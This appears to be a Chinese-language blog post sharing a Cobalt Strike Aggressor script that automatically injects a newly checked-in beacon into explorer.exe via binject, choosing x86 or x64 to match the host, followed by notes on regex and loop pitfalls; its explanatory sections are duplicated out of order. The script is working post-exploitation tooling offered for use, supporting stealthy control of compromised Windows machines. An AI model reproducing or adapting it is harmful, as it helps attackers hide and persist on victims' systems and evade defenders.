Cobalt Strike automigrate自动迁移进程脚本
metasploit有个功能叫auto migrate 可以自动把meterpreter移动到其他进程,不过Cobalt Strike却没有这个功能,在网上搜到一个移动到进程id的aggressor脚本,不过用了下发现有问题,另外如果只是想移动到指定id的进程的话还不如用Cobalt Strike自带的inject命令。遂想自己写个脚本,实现beacon上线后自动注入到指定进程名,还能根据当前的beacon所在的进程是32位还是64位来自动选择binject的注入类型。
先贴下写好的脚本内容:
1、正则表达式的编写
bps返回的进程列表大致如下:
sppsvc.exe 648 368
svchost.exe 648 444
WmiPrvSE.exe 788 1596
msdtc.exe 648 2740
.....
在写正则表达式的时候以为上面的进程列表每行字符串分割是空格,结果发现是tab(\t),另外每行是以\n来换行的,而且正则表达式的字符串要用单引号包裹,用双引号发现怎么都匹配不上。
2、不停注入的问题
当注入了进程返回新的beacon后,它也要执行这个脚本,导致不停地注入explorer.exe。于是便想先将explorer.exe的进程id赋给$inject_pid,然后再判断当前新的beacon所在进程id是否是explorer.exe的id,是的话就不再注入,这样便能停止死循环。
使用的时候可以根据需要修改要注入的进程名(explorer.exe)和自己设定的listener名(test)。
先贴下写好的脚本内容:
on beacon_initial { sub callback { $regex = '(.*\n)+explorer.exe\t\d+\t(\d+)(.*\n)+'; $listener = "test"; if ($2 ismatch $regex) { $pid = matched()[1]; $inject_pid = $pid; if (-is64 $1) { $arch = "x64"; } else { $arch = "x86"; } binject($1, $pid, $listener, $arch); } } if($inject_pid != beacon_info($1,"pid")) { bps($1, &callback); } }脚本不难,讲下编写过程中遇到的几个坑:
1、正则表达式的编写
bps返回的进程列表大致如下:
sppsvc.exe 648 368
svchost.exe 648 444
WmiPrvSE.exe 788 1596
msdtc.exe 648 2740
.....
在写正则表达式的时候以为上面的进程列表每行字符串分割是空格,结果发现是tab(\t),另外每行是以\n来换行的,而且正则表达式的字符串要用单引号包裹,用双引号发现怎么都匹配不上。
2、不停注入的问题
当注入了进程返回新的beacon后,它也要执行这个脚本,导致不停地注入explorer.exe。于是便想先将explorer.exe的进程id赋给$inject_pid,然后再判断当前新的beacon所在进程id是否是explorer.exe的id,是的话就不再注入,这样便能停止死循环。
使用的时候可以根据需要修改要注入的进程名(explorer.exe)和自己设定的listener名(test)。
评论
发表评论